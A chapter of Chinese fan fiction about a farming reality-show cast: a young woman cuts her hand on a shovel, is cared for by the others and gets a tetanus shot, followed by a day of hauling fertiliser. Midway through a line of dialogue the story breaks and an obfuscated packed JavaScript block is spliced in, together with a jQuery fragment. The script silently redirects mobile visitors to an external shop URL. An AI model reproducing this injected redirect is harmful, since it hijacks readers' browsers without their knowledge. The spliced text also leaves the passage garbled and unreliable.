21. 破伤风
    2022年12月12日,种地的第23天。

    今天天气还不错,而且通沟结束后大部分事务已经告一段落了,一号房的四位男生决定在四周到处转转,其他人则留在了少年之家享受自己久违的休息日。

    至于谢希逸,她跟着饼导在附近的一家医院里打着破伤风。

    昨天晚上吃完饭李耕耘拿着铲子想把下午结束时看到的一点不平的地方清理一下。

    谢希逸注意到了李耕耘自己一个人去了,便也拿着铲子和工具跟上了他的脚步。

    谢希逸叫住李耕耘:“三哥——”

    李耕耘回头等了一下谢希逸,谢希逸笑的眼睛弯弯的:“耕耘哥你真的好有责任心啊。”

    李耕耘不知道怎么面对夸赞:“总是要做的嘛,就这么一点活再把大家叫过来那不是有病吗。”

    两个人探在地里摸索着把沟最后一点整理了一下。

    李耕耘直起身子,伸手拉了谢希逸一把:“谢谢你啊妹妹,今个晚上过来跟我一块给这点干了。”

    谢希逸:“有啥可谢的啊,这本来就是大家应该一起完成的。”

    李耕耘眼尖,发现自己手上有一点血:“妹妹啊,妹妹?你受伤了吗?”

    谢希逸也看见了自己手上的血:“我天呐,咋回事啊。”

    谢希逸这才后知后觉的发现自己左手侧有一道不小的伤口,正往外流着血。

    李耕耘有鼻炎,兜里备的有纸,慌忙拿出来给她止血:“走走走,快回家,手上都是泥,这得洗一下。”

    谢希逸也有点被吓到了,李耕耘拉着她:“妹妹啊你不疼吗?”

    谢希逸有点懵:“我手已经冻僵了,感受不出来,我还以为是留下来的比较硬的小麦杆子或者石头划了一下,这感觉这两天一直有,我就没在意。”

    李耕耘皱着眉头:“你刚才出来的时候咋没戴手套啊?”

    李耕耘拉着她的手直直往水管走,时不时有一两滴血掉下来,坐在院子里的蒋敦豪和赵小童看到他俩这样急急忙忙的样子也吓了一跳,蒋敦豪跟着他俩往这边走着:“咋回事啊?”

    谢希逸有点自责,低着声音跟李耕耘解释:“我想着就一会......对不起啊耕耘哥。”

    李耕耘打开水管给谢希逸冲洗,听到谢希逸低落的声音:“没凶你么妹,你也不用跟我道歉,你这疼不疼啊?”

    蒋敦豪也凑了过来,看到一道不小的口子也吓了一跳:“呦,这咋弄的啊?”

    赵小童跟着过来,看到伤口之后也吓了一跳:“这得打破伤风了吧?”

    导演组送了一点纱布碘伏和创口贴过来:“我们刚刚看了一下,是妹妹干活的时候铁锹不小心划了一下,但是太暗了,大家都没发现流血了。”

    杨导也过来了,谢希逸毕竟是他找来的唯一一个姑娘,他关心的说:“希逸咋样啊?”

    “没事的导演”,伤口比较长,但是不是很深,谢希逸拿水冲一会便没有那么吓人了。

    蒋敦豪抿着唇,拿着一瓶医用酒精示意谢希逸稍微冲一下,谢希逸面露难色,小声问:“这个疼吗?”

    赵小童听见笑了一声:“你划这么长一道伤口都不觉得疼,现在酒精消毒开始害怕了。”

    蒋敦豪:“妹妹你这得消一下毒。”

    李耕耘:“哎呀酒精不疼的,它又不是碘伏。”

    谢希逸其实这几天相处下来还是有点怕李耕耘,于是“嘤”了一声就闭着眼伸出了胳膊,鹭卓听见动静也往这边来了:“咋了这是?”

    李耕耘:“妹妹划了一下。”

    谢希逸尖叫:“呀——哥——”

    谢希逸一睁眼,原本温柔浇酒精的大哥变成了猛猛洒碘伏的三哥,感觉天都要塌了。

    李耕耘固定住谢希逸的胳膊:“没拿棉签,拿棉签更疼,你这伤口酒精不管用。”

    赵小童离开了这里,给鹭卓腾了一个位置:“我都有点不忍心看了,耕耘哥太猛了。”

    鹭卓站在赵小童的位置:“天呐,这么长,这得打破伤风吧?咋弄的啊?”

    赵小童站在外围:“铁锹不小心划了一下。”

    杨导:“我们刚才打了个电话,这个点附近的能打这个破伤风的那个诊所关门了,医院离得有点远,现在太晚了,你这个得打破伤风,希逸啊,等你明天起床了,让饼导带着你的那个跟拍一块去医院打个破伤风行吗?破伤风得在24小时之内打。”

    谢希逸点了点头又拉住了杨导:“导演我明天能不带摄像老师不?”

    “本来明天就是摄像老师的休息日,再加上干农活的农民也会受伤,受伤是一件很正常的事,我受伤的这一段到时候能不播不?不然......”

    谢希逸扯着杨导衣角,有点不好意思:“不然我这也太娇贵了,而且本来就是我的错,我要是带着手套也不会耽误大家进度了。”

    李耕耘站在谢希逸旁边把东西随手收拾了一下:“诶诶诶,知道应该带手套就行了,也别说是你的错,就你那说的,受伤多正常啊,别以为是自己的错啊,不然应该是我的错,我今天晚上本来就不该带着你一块下地。”

    蒋敦豪也拍了拍谢希逸肩膀:“没事哈希逸,不是你的错,你也没耽误大家进度,明天估计大家也是在宿舍休息,明天没啥活。”

    杨导:“诶对,你们今天不是通完沟了吗?明天不想带摄影就不带,身体为重哈,明天跟你饼导一块,让他当司机开车送你去医院看看。”

    谢希逸点点头,乖巧的“嗯”了一声,低着头看着伤口,她的伤口已经不流血了,受伤之后周围围了一圈人来关心她,这让她心里有点感动。

    2022年12月13日,谢希逸昨天在医院被医生灌了一堆注意事项,在这又搜了一晚上的破伤风,早上六点,李耕耘在院子里发出第一声吼叫,谢希逸腾的一下从床上坐了起来,何浩楠听见吼声拿着面包,急匆匆跑出来:“咋啦?”

    赵一博一溜烟小跑过去:“啥啥啥?啥?”

    卓沅也跑出来看情况,一脸懵的问:“咋了?集合了?”

    李耕耘拿着手机拍摄:“出太阳了。”

    蒋敦豪走过来:“一大早上,咋咋呼呼的,吓我一跳。”

    谢希逸睡衣外裹着大长袄睡眼惺忪的也走了出来。

    李耕耘说道:“哇——以后都六点出

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144341|138469||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    工吧,能看到好美的日出。”

    谢希逸揉揉眼睛:“这也忒早了耕耘哥。”

    赵一博:“那希望你拍下来分享给我们。”

    卓沅拍完了日出拍拍谢希逸肩膀让她进屋:“外边太冷了,进去吧。”

    屋里陈少熙和王一珩也顶着爆炸头呆愣的看着他们,卓沅妈妈又担起了叫醒重任:“你俩起不起啊?”

    三人以同样的姿势把自己重新砸进床里,以沉默回应。

    卓沅无奈的看着下床的鹭卓,鹭卓笑了笑:“没办法,咱一号房三个老幺都是夜猫子。”

    早上九点,蒋敦豪:“把种子搬出来呗。”

    谢希逸站在门口看着满仓库的种子,叹着气拿来了两辆小推车。

    卓沅无力的倚在门框上:“好家伙,早知道当时就堆门口了。”

    不过大家已经习惯了搬运,指导员张新老师从外面走了过来,大家把种子摆好之后打了个招呼。

    全体:“张老师早!”

    张新:“哎呦,大家早上好。”

    “你们这复合肥扔哪里去了?”

    卓沅:“在外面。”

    张新:“装肥要到田间地头去。”

    卓沅:“啊?”

    赵小童:“啊?还得搬到田里去?”

    指导员:“你要不然无人机怎么撒?”

    李耕耘:“不可以从这直接起飞吗,老师?”

    “那这样用电量太高了呀。”

    何浩楠憨憨的笑着说:“白搬了吧~”

    谢希逸认命的把刚收起来的小推车推了回来:“这个东西是这一期出场频率最高的。”

    赵一博指指旁边破破烂烂的三轮车:“你错了,田间地头的话那玩意好用。”

    卓沅:“那我们一亩放多少袋?”

    赵一博:“我直接把每亩的算出来吧,然后一会儿给你们个准确的。”

    鹭卓:“先搬吧,先搬吧。”

    蒋敦豪:“又要搬化肥了。”

    赵一博给蒋敦豪打打电话说了每亩多少袋,蒋敦豪说了两句,直接挂断了电话,赵一博:“诶?他给我挂了?”

    谢希逸尝试着提起一袋失败,听见赵一博的话笑了一下:“好好笑。”

    赵一博:“那你们去搬吧,我把所有的表格算出来。”

    何浩楠:“好的。”

    谢希逸:“嗯哼。”

    卓沅开着车回来了,李昊:“这不几下的事儿吗?”

    谢希逸看着摇摇晃晃的小破车上前了一步:“我来扶着车吧,总感觉这车要散架了。”

    卓沅开着小破车摇摇晃晃的走了,谢希逸坐在地上跟李昊聊天:“你是哪人啊昊哥。”

    李昊也坐了下来:“我广东的。”

    谢希逸:“一般你朋友都叫你什么啊?”

    李昊歪头:“我吗?都有,因为我名字只有两个字,其实他们都喜欢叫我全名。”

    谢希逸:“我看你总感觉不到你比我大,总觉得你应该很小的样子。”

    李昊:“是吗哈哈哈哈,我有点嫩是吧哈哈哈哈哈。”

    谢希逸:“哈哈哈哈哈哈哈。”